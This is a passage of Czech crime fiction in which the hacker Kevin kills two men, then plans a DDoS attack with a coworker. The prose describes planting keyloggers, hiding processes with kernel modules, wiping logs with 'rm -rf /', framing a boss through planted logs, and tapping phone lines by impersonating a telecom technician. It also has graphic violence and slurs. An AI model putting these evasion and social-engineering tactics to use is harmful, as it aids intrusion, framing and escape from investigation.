nemají žádný význam. Jsou pro něho materiálem, za který se dobře platí. Konečně nastal den, kdy Kevin musí instalovat do "doktorova" počítače nový software. Kevin zaklepe a vejde do rozlehlé kanceláře. Celkem slušně ho přivítá. "Doktor" ho pustí k počítači a Kevin začne instalovat nový program, ale nejenom ten. Přidá i zachytávač kláves, který se tak "osvědčil" u fízla. Kevin dokončí instalaci a s pozdravem docela rád odejde. Kevin potřebuje zachytit heslo, které "doktor" zadává při manipulaci se svým soukromým klíčem. Z jeho počítače si stáhnul soubory, které reprezentují jeho soukromý a veřejný klíč a přidal do svého programu PGP na svém počítači v kanceláři. Jestliže toto heslo získá, bude moci přečíst každý mail, který doktorovi přijde. Bohužel, žádný mail nepřichází, proto se Kevin rozhodne zaslat "doktorovi" falešný mail, zašifrovaný veřejným klíčem "doktora" a tím ho přinutit použít jeho soukromý klíč. Akce se zdaří. Za několik hodin po odeslání mailu "doktorovi", Kevin ve své mailové schránce má soubor, ve kterém je zachycené heslo. Okamžitě jej použije a přečte si zprávu od "fízla". Ta zní: "Jestliže žije, musíme okamžitě přestat komunikovat přes mail". Tento text Kevina potěšil - mají z něho strach. Kevin ví, že ho budou hledat a je rozhodnut s tím skoncovat. Má několik možností. Emigrovat nebo oba zastřelit. Rozhodne se pro druhou možnost. Sežene si krátkou zbraň s tlumičem a naučí se střílet. Ve starém lomu vystřílí několik set nábojů a stane se dobrým střelcem, i bez speciálního výcviku. Ale dokáže vystřelit na člověka? Asi ne, ale oni dva nemají s lidmi nic společného. V podsvětí si sežene neprůstřelnou vestu a jde na věc. Vymyslí rizkatní plán a sází na jednu kartu, při které může i zemřít. Jednoho dne večer, kdy je "doktor" déle v práci, vejde do jeho kanceláře. Řekne kdo je. "Doktor" ztuhne a tupě na něho zírá. Ve stole má pistol a nenápadně se snaží jí vytáhnout. Kevin to včas uvidí a přiskočí k němu a dá svou zbraň k jeho hlavě. "Teď zavolej dodavateli "masa" a řekni ať za tebou rychle přijede sem" řekne Kevin. Doktor vezme mobil a volá. Trvá do strašně dlouho, ale najednou se ve dveřích oběví fízl. Teď je tady má oba. Na tento okamžik čekal. Musí na něho vystřelit první. Kevin má neprůstřelnou vestu a doufá, že ho nezasáhne jinam. Je to strašně rizkantní, ale musí to udělat. Fízl neví, že je ozbrojen, protože zbraň schoval. Stojí těsně za "doktorem" a pod jeho bradou drží velký nůž. Fízl náhle vytáhne pistoly a zamíří na Kevina. Bez váhání vystřelí do jeho neprůstřelné vesty. Kevin se skácí na zem za pracovní stůl "doktora". Fízl k němu rychle přiběhne a stále n něho míří. Mezitím si Kevin na prsou rozmáčkl malou ampulku s červeným latexem a jeho svetr byl celý červený. Fízl dal zbraň zpět do pochvy a skloní se nad Kevinem. Náhle Kevin vytahuje svojí velkorážní pistoly a fízlovi vystřelí přímo do obličeje. Speciálně upravený Kevinův náboj, doslova roztrhne fízlovu hlavu a části jeho mozku se rozletí po celé místnosti. Šokovaný doktor sahá po své pistoli a střelí Kevina opět do neprůstřelné vesty. Kevin stále leží na zemi a dělá, že dostal ránu z milosti a je definitivně mrtev. Vyděšený "doktor" s namířenou pistolí couvá ke dveřím. Náhle se otočí a chce opustit místnost. Toho Kevin využije, rychle vstane a zasáhne "doktora" do týlu. S jeho hlavou a mozkem to dopadne jako v případě fízla. Kevin se najednou probere z tranzu. Uvědomuje si, že zvítězil. Ale co dál? Dokonce může dokázat, že oni stříleli první. Stopy na vestě jsou toho důkazem a jejich pistole také o něčem vypovídají. Kevin volá policii a zárověň známou redaktorku v televizi. Přijedou téměř současně a Kevin je zatčen. Kevin ale není obviněn. Jiná část policie již delší dobu sledovala jejich činnost a Kevin tento proces definitivně ukončil. Vše co Kevin uvedl u výslechu, policie věděla. Kevin je volný. Nasedne do svého super auta a rozjede se po prázdné noční silnici a vychutnává při rychlé jízdě pocit výtěztví. Proti všem Kevin se jednoho dne rozhodl, že si najde práci, která ho baví. Původně sice chtěl jít pracovat do nějaké softwarové firmy, ale nakonec byl přijat do velkoobchodu s počítačovými komponenty, kde se mimo jiné také montují kompletní počítače, které se prodávají velmi levně. Pravě v této oblasti chtěl Kevin pracovat, protože vůbec nepřišel do styku se zákazníky, což mu vyhovovalo. Kevin neměl nervy na to, odpovídat na hloupé dotazy lidí, z nichž většina o počítačích neví vůbec nic. Kontaktovala ho sama majitelka této firmy, protože potřebovala zaměstnat nějakého lumpa, což Kevin určitě byl. Šlo o to, že společně se svým přítelem jela ve velkých podvodech, takže o nějakého slušného zaměstnance neměla velký zájem. Kdyby náhodou Kevin odhalil její podvody, tak určitě by se nechal nějak podplatit. Její počítačová firma vznikla před několika lety. V té době ještě prodávala svoje tělo na různých místech po celé republice, a proto si mohla vydělat docela slušný balík peněz. Jeden z mnoha zákazníků, který pravidelně dojížděl z Německa, aby uspokojil svoje zvrácené pudy, byl bohatý podnikatel z oblasti informačních technologií. Byl to jeden z mnoha klasických podvodníků z této oblasti, který měl kontakty na Thajwanskou IT mafii, která vyráběla patchnuté základní desky pro osobní počítače třídy PC. Šlo o to, že součástí základní desky byly i speciální obvody, jejichž úkolem bylo oklamat jak Bios, tak také všechny testovací programy, které zjišťovaly informace o hardwaru počítače. Nebyly to ovšem standardní základní desky typu AT nebo ATX, ale jednoúčelové, které se používají ve značkových počítačích mnoha světoznámých firem. Podobnou základní desku nelze namontovat do žádné normalizovaná skříně, ale pouze do speciální skříně, na kterou připevnili logo světoznámé IT firmy, a na světě byl značkový počítač, který se velmi dobře prodával. Byl ovšem patchnutý, a to tak, že hlásil chybně jak velikost operační pamětí, tak také frekvenci procesoru, vyrovnávací paměť a mnoho dalších parametrů. Jestliže výrobce do desky nasunul paměť o velikosti 128 MB, tak systém vždy hlásil 256MB, procesor měl skutečnou frekvenci 500MHz, ale systém vždy hlásil 1GHz a tak dále. Nechalo se tím na každém počítači vydělat několik tisíc. Zákazník nic nepoznal, a to podle pravidla "co je psáno, to je dáno". Firmu ovšem přímo neřídila výše zmíněná majitelka, ale jeji milenec, který všechno organizoval. Majitelka se v poslední době starala pouze o svou politickou kariéru, protože kandidovala do parlamentu za liberární konzervativní stranu. To ovšem podvodům a zločinům zdaleka nebyl konec. Výkonný ředitel firmy měl kontakty na různé zlodějské mafie, které pro něho přepadávaly kamióny s počítačovými komponenty, které se do této malé republiky u pobřeží moře dovážely. Z nich potom Kevin a jeho kolega v dílně montovaly počítače, které se opět velmi dobře prodávaly, protože byly vždy o něco levnější, než počítače konkurence. Kevin pracoval ve světlé klimatizované dílně, kde spolu s Erikem montovali tyto levné počítače. Erik u této firmy pracuje již dva roky a o těchto podvodech nic neví. Prostě přijdou komponenty a Erik sestaví počítač. Protože v poslední době práce přibyla, tak přijali Kevina. Erik byl jednoduchý, takový mladý počítačový fanatik, který si liboval v přetaktovávání procesorů, a také jich již několik zničil. Dokonce se tím chlubil, když Kevina seznamoval s jeho novým pracovištěm. Kevin bude pochopitelně dostávat pouze minimální mzdu, aby zaměstnavatel nemusel platit příliš vysoké dávky různého pojištění. Zbytek dostane v hotovosti přímo na ruku. Ale zpět k Erikovi. Ten byl tak trochu ze stejného těsta jako Kevin. Hacker to sice nebyl, ale měl k tomu všechny předpokady. Už jenom fakt, že jeho koníčkem bylo přetaktovávání procesorů něco napovídalo. Ale i životní osud tohoto hubeného mladíka byl podobný osudu Kevina. V tomto případě měl možná Kevin štěstí, protože jeho matka ho rovnou nechala po porodu v nemocnici, takže byl ušetřen vlivu složitých interpersonálních vztahů. Erik takové štěstí neměl. Narodil se v malé vesnici, kde strávil svoje mládí. Erik se jednou Kevinovi svěřil, že jeho otec byl ještě větší lidskou zrůdou, než byl Hitler nebo Stalin. Údajně ho nenáviděl již od narození. Jeho otec totiž vystudoval vysokou školu a nebyl proto hloupý. Na základní škole jeho otec patřil k nejchytřejším, možná také proto, že chodil do vesnické školy, takže se nesetkal v mládí s někým chytřejším než byl on. To v Erikovo otci vyvolalo falešný pocit geniality. Za manželku si vzal jednoduchou a hloupu nánu, která dělala pouze to, co chtěl on. Když se jim Erik narodil, a jeho otec zjistil, že oči má po matce, bylo o jeho osudu rozhodnuto. Navíc, Erik trpěl špatnou výslovností, a nejen proto se ho jeho otec štítil, a litoval okamžiku, kdy se Erik narodil. Na jednom pracovišti se tak sešli dva psychický narušení jedinci, kteří v sobě živili nenávist k lidské společnosti, která se k jejich životům nezachovala dobře. Jeden z nich byl hardawarový kouzelník - Erik. Druhý, Kevin, byl kouzelníkem softwarovým. Ideální propojení pro spáchání největšího digitálního teroristického útoku v dějinách Internetu! Původně si Kevin myslel, že sestavovat počítače bude procházka růžovou zahradou, ale opak byl tvrdou pravdou. Velké množství různých procesorů, pamětí, Biosů a další nepřeberné množství různého nastavování Kevina užíralo k smrti. Většinou musel při této práci stát, takže za prvních několik dní to odnesly záda. A ty šroubky! Neustále mu zapadávaly do různých zákoutí počítačové skříně, takže Kevinovo nervy byly napjaté k prasknutí. Jednoho dne proto Kevin pozval Erika na pivo do nedaleké hospody, aby tak trochu uvolnil napnuté nervy. Erik neodmítl, i když alkoholu příliš neholduje. Což se projevilo po pvrní dvanátce, protože Erik začal plácal úplné nesmysly. Ne nadarmo proto pracoval u této firmy, protože tento člověk těžko mohl prokouknout podvody, které se tam děly. Ale v hardwaru se vyznal. Je proto s podivem, že nebyl schopen odhalit patchnuté základní desky, který chybně hlásily paměti i procesory. Pravděpodobně ho něco podobného vůbec nenapadlo. Když Erik dopíjel třetí pivo, zeptal se Kevina: "máš nějakého koníčka?" "Jsme tak trochu hacker" řekl klidně Kevin. To začalo Erika evidentně zajímat a začal z Kevina tahat informace. "Už jsi se někam proboural?" zeptal se Erik. "V několika mašinách mám roota už několik let, ale jinak nic moc." Odpověděl Kevin. "Jakého roota?", kontroval nechápavě Erik. Kevin tím poznal, že se Erik ještě bude muset hodně učit, aby mohli spolu provést Ddos útok na několik známých serverů. To bylo jeho snem již dlouho, ale potřeboval k tomu nějakého parťáka. Kevin se s tímto svým plánem svěřil Erikovi, a vzbudil tím v něm velký zájem o hacking. Kevin začal vysvětlivat svou strategii: "nejprve musíme hacknout co nejvíce linuxových nebo unixových serverů na síti, ze kterých pak můžeme zaútočit na jeden jediný server na internetu. Tento brutální útok nelze úspěšně provést z jednoho počítače, protože je nutné oběť zaplavit obrovským množstvím dat, což z jednoho místa nelze provést. Takový útok by se totiž obrátil proti útočníkům, což je celkem pochopitelné." Ukončil Kevin svojí řeč. Kevin ještě netušil, jakou časovanou bombu tím v Erikovi nastartoval. Tento jednoduchý prosťáček, který v sobě živil nenávit ke všem lidem, ale nedokázal to nijak projevit veřejně tím dostal nový impuls. Erik si druhý den okamžitě koupil Linux a nainstaloval na svůj domácí počítač. Kevina již nebavilo hackovat. Byla to totiž strašná dřina, protože noci strávené před černou obrazovkou příkazového řádku, byly úmorné již i pro Kevina - notorického hackera. Ten by byl nejraději nějakým vůdcem hackerů, kteří by za něho tuto černou práci udělali, a on by byl pouze velký hackerský vizionář, který určuje směr vývoje hackingu. Ale přesně tuhle myšlenku v Erikovi nastartoval. Ten se začal zajímat pouze o hackování a všechen volný čas začal trávit před černou obrazovkou smrti. Kevin ho postupně zasvětil do celý tajemné kuchyně hackingu, takže Erik začal chápat výrazy jako LKM, exploit, backdoor aj. Každý den se Kevinovi chlubil, kolik serverů již hacknul, takže Kevin mohl konečně uskutečnit svůj plán "velkého hacku". Erik byl velmi dobrým žákem a Kevina poslouchal na slovo. Konečně přišel okamžik, kdy Kevin Erika seznámí s technickými detaily svého smrtícího plánu. Erik již znal útok typu DoS, což je v podstatě útok založený na odmítnutí služby, která následně přestane fungovat. Jenže Kevin má v hlavě ďábelský plán útoku na jeden z největších světových serverů, který má obrovskou návštěvnost a je pod neustálým dohledem široké veřejnosti celých dvacet čtyři hodin denně. Útok chce provést v noci, kdy admanistátoři a správci počítačových sítí spí, takže server bude zablokován mnoho hodin, což bude pro provozovatele znamenat velkou finanční ztrátu. Kevin s Erikem se opět sejdou v restauraci a objednají si pivo. Po třetím kousku začne Kevin seznamovat Erika s podrobnostmi. "Tak se podívej Eriku" řekne Kevin. "Sehnal jsem na internetu několik programů, které náš plán dokážou uskutečnit. Máme celkem na internetu přístup do dvěstě šedesáti hacknutých mašin, které jsou rovnoměrně rozloženy po celém světě, což je velmi důležité. Nejdůležitější bude tyto programy naistalovat na všechny stroje a přesně nastavit. Na jednom z těchto strojů bude pracovat aplikace server, která bude ostatní klienty řídit, a v závěrečné fázi dá impuls k zahájení útoku. Všichni klienti najednou tím začnou vysílat obrovské množství paketů na jednu IP adresu a dojde tím k zahlcení cílového www serveru, který potom nedokáže odpovítat na dotazy normálních účastníků internetu. Pochopil?" Ukončí monolog Kevin. "Jasný" řekne rozhodným hlasem Erik. Dopijou poslední pivo a vyrazí do tmy. Kevin má ale stále žízeň, a také by rád pošpásoval s nějakým děvčetem. Kevin není příliž ožralý, přestože vypil asi osm piv, za to Erik je nějaký divný. V hospodě ukradl půlitr s pivem, který si teď nese sebou a pořád křičí "vy kurvy komunistický." Kevin si toho nevšímá, i když začal Erik kopat do popelnic a nějakým kovovým předmětem, který někde našel udělal rýhu do každého zaparkovaného auta, které mu stálo v cestě. Několikrát dokonce přeběhl přes střechy mnoha zaparkovaných aut. Podobné chování Kevin ještě v životě neviděl a docela se mu to zalíbilo, takže si to také zkusil. Pak se stalo něco, co jejich šílené řádění ukončilo. Erik dopil pivo a prázdnou sklenici vhodil do jednoho okna, kde se ještě svítilo. Oba rebelové se po tomto zavržení hodném činu dali na útěk. Asi po tři sta metrech usilovného běhu zapadli do přízemního lokálu, kterému vévodilo červené osvětlení. Tady je nikdo hledat nebude. Objednali si pivo a pořádně se rozhledli po okolí. Jaké bylo jejich sklamání, když všechna děvčata prostě nebyla jejich typ,...no přímo řečeno nebyly to češky. Sklamaně dopili pivo, za které každý z nich zaplatil padesát korun a zmizeli v anonymním davu velkoměsta. Druhý den je sobota, takže se nejde do práce. Erik již brzo ráno volá Kevinovi na mobil, jestli může k němu přijít a Kevin pochopitelně souhlasí. Kevin Erikovi předvede instalaci klienta pro DDoS útok, ale konfiguraci serveru si nachá pro sebe. Vlastně Erik potřebuje znát pouze IP adresu oběti, na kterou budou útočit pakety, a také pochopitelně IP adrese řídícího serveru, který všechny klienty synchronizuje, a vydá příkaz k jednotnému zahájení útoku. Pochopitelně, že je výhodnější nainstalovat co nejvíce klientů, protože nelze vyloučit, že některý selže, například z důvodu odhalení administrátorem, nebo prostě proto, že počítač bude vyptutý nebo bude porucha v této oblasti sítě. Kevin nechce nic ponechat náhodě, a proto ještě nainstaluje jeden záložní server, ze kterým klienti komunikují v případě, že první selže. To se u klientů nechá nastavit v příslušném konfiguračním souboru jako položka sekundární IP adresy. Ovšem celý proces instalace jak dvou serverů, tak především klientů je dlouhodobý proces. Na většině hacknutých mašin se musí přeložit zdrojové texty v jazyce C, a jak každý zmáme, ne vždy se to musí podařit. Podmínkou je pochopitelně přístup do shellu, a tedy možnost zadávat příkazy standardním způsobem, a ne pouze pomocí exploitu podstrčením vlastního kódu. Program se totiž musí přenést na hacknutou mašinu, a to většinou pomocí Ftp nebo NFS. Ve druhém případě lze použít příkaz schowmout a hledat veřejně přístupné adresáře. Jestliže se tímto způsobem podaří přenést soubory, nemusí mít oba hackeři přímý přístup k příkazovému řádku, ale potom stačí zadávat příkazy opakovaným exploitnutím chyby, když pokaždé předtím změníme podstrčený kód v exploitu. Můžeme také celý proces automatizovat pomocí skriptu. V tomto případě ovšem vyžaduje exploit značnou úpravu, a to především tehdy, využívá-li se chyby typu přetečení bufferu. Na mašinách, kde Kevin instaloval řídící servery se nesmí nechat nic náhodě. Tady Kevin změnil kernel, protože je také odborníkem na Linux Kernel Module, které se zkratkou označují jako LKM. Prostě k jádru ještě připojil další modul, který měl za úkol všechno ukrýt před zraky zvědavých administrátorů. V tomto případě jsou jim totiž příkazy typu ps nebo top k ničemu, protože ty pouze zobrazí to, co jim předa kernel. Ale ten je patchnutý, takže mají smůlu. U klientů podobná úprava nema smysl, protože jich je několik set, takže ztráta třeba i deseti se nijak extra neprojeví. Dalším problémem byly logy. Uhlídat tak velké množství záznamů není prostě možná, a oba hackeři to moc doře ví, a to především Kevin. Proto se Kevin rozhodl pro radikální řešení. V nápovědě, jak pro instalaci klientů, tak pro servery objevil velmi zajímavou možnost. Jde totiž nastavit, jak dlouho se mají pakety na oběť vysílat. Po uplynutí této doby klient předá libovolný příkaz operačnímu systému, který ho následně provede. Kevin, aby nevratně smazal všechny stopy se rozhodl pro příkaz rm -rf /. Ten smaže všechny soubory na disku. Pak si to ale všechno rozmyslel, protože toto řešení bylo příliš brutální a mašiny, které hackerům posloužili k útoku na nenáviděný bulvární server si to nezaslouží. Proto Kevin před instalací nejprve zjistil, kam systém loguje a zadal klientům příkaz pouze pro smazání tohoto adresáře. Jenže pak všechno zase změnil, protože si uvědomil, že smazáním nic nevyřeší, protože zapisování do logů má na starosti démon, který v případě, že nenajde příslušné soubury je jednoduše znovu vytvoří. Proto Kevin musí nejdříve zadat příkaz, který ukončí proces, pod kterým běží příslušní démoni, a teprve potom smazat celý adresář, do kterého se loguje (většinou /var). Zdělil to Erikovi s tím, že on musí zadat příkaz rm -rf /, protože Erik ještě není tak zkušený hacker a mohl by něco pokazit. Jistota je jistota že? Kevin ještě Erikovi předal nějaké hacknuté účty, přes které se budou přihlašovat do sítě sítí, aby byla zajištěna anonymita. Pochopitelně, že nebudou používat svoje vlastní telefonní linky, ale nějaké úplně cizí. Kevin k tomuto účelu prozkoumal v přízemí svého nového bytu čtvrté kategorie telefonní rozvody, kde zjistil několik telefonních linek, které nemají žádného účastníka. Ten se buď již odstěhoval, nebo si nechal telefon zrušit z důvodu zvýšení telefonních poplatků. Dům, ve kterém Kevin bydlel obývali především sociálně slabší občané, kteří se do práce přípiš nehrnuli. Kevin by o tom mohl vyprávět, protože jeho sousedi každý den v noci stále něco oslavují a přes den potom vyspávají opici, což je možná také jeden z důvodů, proč nemají na zaplacení telefonních poplatků. Telefonní technik, který dostal za úkol zrušit telefonní pobočku se příliš neobtěžoval navštívit podobný páchnoucí byt, ale pouze v přízemním telefonním rozvodu odpojil přívodní vedení, čímž neplatiče odpojil. Telefonní signál byl ovšem stále aktivní, protože telefonní společnost se příliž neobtěžovala zrušit číslo přímo na telefonní zkušebně. Stejný průzkum udělal i v okolí Erikova bydliště, kde ovšem telefonní rozvody byly v mnohem větším pořádku, což nebylo dobré znamení. Problém byl v tom, že oblast ve které Erik bydlel byla již připojena na novou digitální ústřednu, a proto se předělávaly i místní telefonní rozvody, které byly pro nový systém číslování mepoužitelné. V jednotlivých objektech byla použitá strukturovaná kabeláž, takže odpojování nebo přepojování účastníků bylo velmi jednoduché, protože se provádělo centrálně. V takovém případě nemohl Kevin nalést žádnou neobsazenou telefonní linku, a tak musel použít sociálního inženýrsví. Jednoho dne si navlékl jednotný pracovní oděv, který používali zaměstnanci velké telefonní společnosti, přes rameno si vzal montážní brašnu a vyrazil na rušnou ulici, kde byl umístněn velký telefonní rozvod. Univerzální klíčem ho otevřel a začal se rychle orientovat ve velkém množství různých telefonních svorkovnic. Protože znal plán číslovací plán, snadno našel neobsazenou pozici, na kterou si nechal pustit novou telefonní linku. Vytočil tajné servisní číslo, na které volají pouze telefonní mechanici, kteří pracují v terénu při opravách telefonů, přepojování nebo omezování vadných kabelů. V terénu se takto každý den pohybuje několik set pracovníků, takže telefonní operátorky, které vyřizují požadavky pracovníků se příliž nestarají o jejich identifikaci. Kevin přenosným mikrotelefonem vytočí servisní číslo a vyčká na ohlášení operátorky. "Prosím" řekne mladá slečna na druhé straně telefonu. " Tady Jarda, nazdar" lže Kevin do telefonu. "Jsem v ulici Milady Horákové, v rozvodu číslo 198 a potřeboval bych pustit číslo 752695216, které by se mělo objevit na strukturce v nedalekém baráku, na pozici 1002/2. Mám tady objednávku. Je to nejaký podnikatel a má tam pronajaté kanceláře, pak vám to pošlu." "Moment" řekne operátorka a zkontroluje v počítači Kevinovo údaje. "Ano, souhlasí, linku pouštím" řekne operátorka. "Ješně něco?" "Ne, to je všechno, nazdar" řekne Kevin a zavěsí. Asi za tři minuty se číslo objeví na pozici, kterou Kevin zadal operátorce. Kevin ho rychle přepojí na pozici v Erikově bytě, což Erikovi, který stojí na protější straně ulice signalizuje zdvyženým palce pravé ruky. Kevin rychle přešel ulici a přpojil se k Erikovi. "Tak čistej vzduch"? ptá se Kevin Erika. Jednou tudy projeli policajti, ale ti se tě vůbec nevšímli. Taky několik aut telefonní společnosti, ale taky se starali pouze o sebe. "To je dobře" řekl s úsměvem Kevin. Nyní mají Kevin s Erikem připraveny v podstatě čtyři úrovně zabezpečení proti odhalení. Tou první je skutečnost, že se nebudou připojovat na cílové servery přímo, ale přes několik dalších. K dispozici jich mají v současnosti asi 260, takže se z čeho vybírat. Druhou překážkou pro případné odhalení je fakt, že budou používat cizí účty pro přístup do internetu, takže IP adresa by vyšetřovatele zavedla k úplně jinému majiteli účtu. Třetí, a také nejvýznamější segment zabezpečení je skutečnost, že se připojují přes cizí telefonní linky. Nelze zapomenout na čtvrtou, ne méně významnou úrověň, kterou se automatické mazání logů v cílových serverch. Teď již mohou Kevin s Erikem přistoupit k instalaci klientů na hacknuté mašiny. Musí to pochopitelně stihnout co nejrychleji, aby mohli včas vrátit cizí telefonní linky na svoje původní místo. Instalace klientů je nudná rutina, která již Kevinovi nepřináší žádnou inspiraci. Za to Erik se jako nováček cítí ve svém živlu. Kevin toho využil, a proto mu dal mu za úkol nainsalovat všechny klienty a sám si nechal pouze instalaci serverů. Erikovi nalhal, že nainstalovat servery je mnohem náročnější a odpovědnější činnost, která je navíc časově hodně náročná. Erik s Kevinem byli instalací programů na hacknuté mašiny tak unešeni, že úplně přestali chodit do práce. To se ale vůbec nelíbilo jejich šéfovi, který již několikrát volal Erikovi na mobil, co se děje. Později mu došlo, že Kevin má na Erika špatný vliv, a tam začal hledat příčinu jejich podivného chování. Musel totiž nontovat patchnuté počítače sám, což se mu pochopitelně vůbec nelíbilo. Jednoho dne jim dal nůž na krk - buď zítra přijdete do práce, nebo tady končíte. Mezitím ovšem oba hackeři již dokončili instalaci všech programů, takže se mohli další den vrátit do práce. Jaké bylo jejich překvapení, když na jejich pracovišti uviděli již nového pracovníka, který místo nich vesele montoval počítače. Zástupce šéfové ho zavolal k ředitelce, která se právě vrátila ze schůze své pravicové konzervativní strany, kde byla v primárních volbách úspěště zvolena na volitelné místo do parlamentu. "Podívejte se vážený pane" řekla vážně Kevinovi. "Po vašem příchodu se tady dějí divné věci, máte špatný vliv na našeho Erika, proto budete muset od nás odejít. Také jsem si našla nového pracovníka, takže je všechno jasné. Kevin pochopitelně souhlasil. Později se dozvěděl, že ten puberťák, který bude dělat místo něj spolu s Erikem, je syn jedné prostitutky, staré kamárdky jeho bývalé šéfové, která ho porodila za devět měsíců, po jednom nevydařeném styku s jedním afričanem. Měla trochu lepší srdce než Kevinova "matka", a proto si ho nechala. Kevin takové "štěstí" neměl. Kevin si sebral svých pár švestek a rychle opustil toto mafiánské hnízdo. Hned jak Erik skončí v práci jde ke Kevinovi. "To je kráva co?" Řekne Erik. "Mě to nesere, mám nějaké peníze, takže se uživím." Řekne s klidem Kevin. "Dnes v noci to spustíme" řekl Kevin rozhodným hlasem. Pak se náhle praštil do čela a řekl "už to mám" "nasměrujeme všechny logy na ten její počítač v kanceláři, a tím tu děvku do toho namočíme" "Heuréka" vykřikl s radostí Kevin. Erik nejprve nic nechápal, ale pak najednou všechno pochopil. Taky je neměl rád. Dřel pro ně někdy i dvanáct hodin denně a nebral ani deset sedm tisíc čistého. "Jdeme na pivo, tam to nějak vymyslíme". Navrhl Kevin. Sednou ke svému oblíbenému stolu a objedají dobře vychlazený zlatavý mok. První pivo vypijí rychle, aniž by prohodili nějaké slovo. Erik jako správný notor hned objedná druhou várku, a zeptá se Kevina. "Jak jsi to myslem s tím namočení té děvky?" "Prostě nasměruje všechny logy na její počítač, který má na stole." "Teď jsme se snažili logy mazat, ale oni se také nechají nalíčit logy falešné, třeba na někoho, koho nemáš rád, a tak se mu pomstít. Ale budem muset všechno předělat, což zabere dost času". Řekl Kevin a napil se ze svého poháru. "Budeš mít za úkol zítra v práci zjistit všechno o jejich konfiguraci pro přístup k netu. Jaký používají operák atd. Nejlepší pak bude, když tam nasadíme redirektor, takže to bude vypadat, že pakety přicházejí z jejich mašiny. Ale co jsem si tak všimnul, tak tam mají asi wokna, což není pro dalkový přístup ideální, takže ho tam budeš muset nainstalovat na místě." Erik se zarazil, ale nakonec souhlasil. "Teď půjdeme ke mně, já ti dám ten redirektor pod wokna. Není to velký, vejde se to na jednu disketu. Taky tam nasaď zachytávač kláves, když už tam jednou budeš. Jo a soubor přesměruj na ten náš společnej email jo?" "Jasně" řekl rozhodným hlasem Erik. Druhý den si vzal Erik Kevinovu disketu s programy a přišel do práce. Ráno tam je většinou plno, a proto musí Erik čekat až všichni odejdou. Asi za hodinu odešel jak výkonný ředitel, tak také majitelka. V celém objektu zůstali pouze tři lidé. Erik, jeho kolega v dílně a na bráně služba, která vyřizovala požadavky zákazníků. Důležité bylo, že kancelář se nikdy nezamykala, takže Erik mohl bez násilí k počítači. Společné záchody jsou hned vedle kanceláře, takže důvod proč tam jít Erik pochopitelně má. Mezitím, co se Erik snaží vloupat se do počítače ředitelky, tak Kevin opět změnil názor na další postup. Instalovat redirektor a přihlašovat se z něj postupně do všech hacknutých mašin je nesmysl, protože stejného efektu dosáhne Erik tehdy, jestliže se připojí na několik mašin přímo z jejího počítače, protože logy tímto postupem také zanechá. Vytáhne mobil a volá Erikovi. Ten již mezitím sedí před počítačem ředitelky a začíná instalovat redirektor. "Nazdar, co je" řekne Erik do mobilu Kevinovi. "Hele... nejjednodušší bude, když se pouze přihlásíš přes ssh do těch mašin, kam jsme nainstalovali ty servery. Ssh klienta pod wokna máš na té disketě, kterou jsem ti dal. Ok?" Řekne Kevin do mobilu Erikovi. Erik jako správný "podřízený" nic nenamítá a pouze souhlasí s příkazem Kevina. Po splnění rozkazu vrátí Erik všechno do původního stavu a klidně se vrátí zpět do dílny montovat patchnuté počítače. "Kde jsi byl tak dlouho?" Zeptá se syn prostitutky. "Ale...včera jsem se nějak ožral, a těď z toho mám nějakou sračku." "A...to znám" řekl s úsměvem nový pracovník. Hned po skončení směny chvátá Erik ke Kevinovi, aby probrali další postup. Kevin již sedí u stolu a čeká na Erika. Chvíle čekání si zkrátil popíjením vychlazeného piva, to proto, aby se dostal do správné nálady. Kevin vždycky, když se blíží nějaký velký hack, prožívá zvláštní pocity napětí, které lze přirovnat k pocitům drogově závislého, kterému právě došly drogy. Prostě to musí mít, i kdyby trakaře padaly. "Nazdar" řekne Kevin Erikovi po příchodu do jeho bytu. "Nejprve musíme vrátit ty telefonní linky do původního stavu, a pak to můžeme spustit". Řekl Kevin a v jeho tváři bylo možné na okamžik spatřit zvláští výraz, který prozradil, že mu dělá dobře, když může někomu programově škodit. Server, na který dnes večer zaútočí již musel v minulosti čelit stovkám hackerských útoků. Hackery asi láká skutečnost, že tento server provozuje největší zpravodajská televize na světě, která má stálé redaktory snad i na vrcholu nejvyšší hory světa. Téměř všechny tiskové agentury tento server nepřetržite monitorují, protože, jestli se něco důležitého ve světě stane, tak tady to budou vědět určitě jako první. První útočníci, kteří chtěli tento server kompromitovat se pokoušeli ho klasický hackerský pronik přímo do systému, na kterém byly uloženy veřejně přístupné dokumenty. To se podařilo celkem pětkrát, až byla společnost přinucena najmout drahé specialisty na počítačovou bezpečnost, kteří systém dokonale zabezpečili, a navíc ho mají 24 hodin neustále pod kontrolou. Okamžitě zaregistrují jakoukoli podezřelou činnost, včetně obyčejného skenování. Když hackeři zjistili, že tudy cesta do systému nepovede, změnili taktiku. Soustředili svoji pozornost na některé nameservery, ve kterých pozměnili příslušné záznamy, a tak všechny klienty přesměrovali na jiné www stránky. I toto se stalo již mnohokrát a společnost musela investovat další prostředky do bezpečnosti. Nakonec se jim podařilo tyto útoky eliminovat, takže již téměř dva roky je klid. Až do dnešního večera. Nikdo z bezpečnostních expertů totiž nepočítal s tím, že někdo bude schopen zorganizovat takto brutální a nemilosrdný útok hrubou silou. Gigabite dat zahltí všechny servery, takže ty nebudou schopny reagovat na požadavky řádných klientů, a server tak bude nepřístupný mnoho hodin. Oba hackeři moc dobře vědí, co způsobí, a proto si zakoupili několik lahví šampaňského, pustili si televizi a rádio současně, a již netrpělivě očekávají půlnoc. Hodina se se přiblížila! Kevin spustí svůj počítač s nainstalovaným Linux a přihlásí se do systému jako uživatel root. Zadá příkaz příkaz dial, pod kterým se skrývá jeho skript, který systém Linux připojí do sítě sítí. "Tak kdy to spustíš" zeptá se netrpělivě Erik. "Jo chlapče, to bude chvilku trvat. Nejprve je nutné poslat všem klientům aktivační impuls, po kterém se uvedou do pohotovostního stavu. Klienti mě odpoví, a musíme proto počkat na jejich potvrzovací signály. Pak budou klienti připraveni pro příjem startovacího impulsu. Jenže příjem tohoto signálu na straně klienta ještě nic nespustí. Je to proto, že klienti musí začít vysílat pakety současně. Proto řídící server měří dobu, která uplynula od vyslání aktivačního do okamžiku, kdy přijme potvrzovací impuls. Tuto dobu měří u každého klienta zvlášť. Naměřená data uloží do souboru a dá uživateli možnost si časy zkontrolovat. Pak stačí zadat programu příkaz s všeříkajícím parametre kill, čímž začne server postupně vysílat startovací impulsy jednotlivým klientům. Důležité je správné načasování, a proto se časy startovacích impulsů zrcadlově otočí proti době příjmu, plus nutná vyrovnávací doba. Tím bude zajištěno, že klienti začnou výsílat pakety na oběť téměř současně." Kevin skončil svůj monolog právě v okamžiku, kdy přišlo potvrzení od posledního klienta. Progarm okamžitě ohlásil, že čtyři klienti neodpověděli na 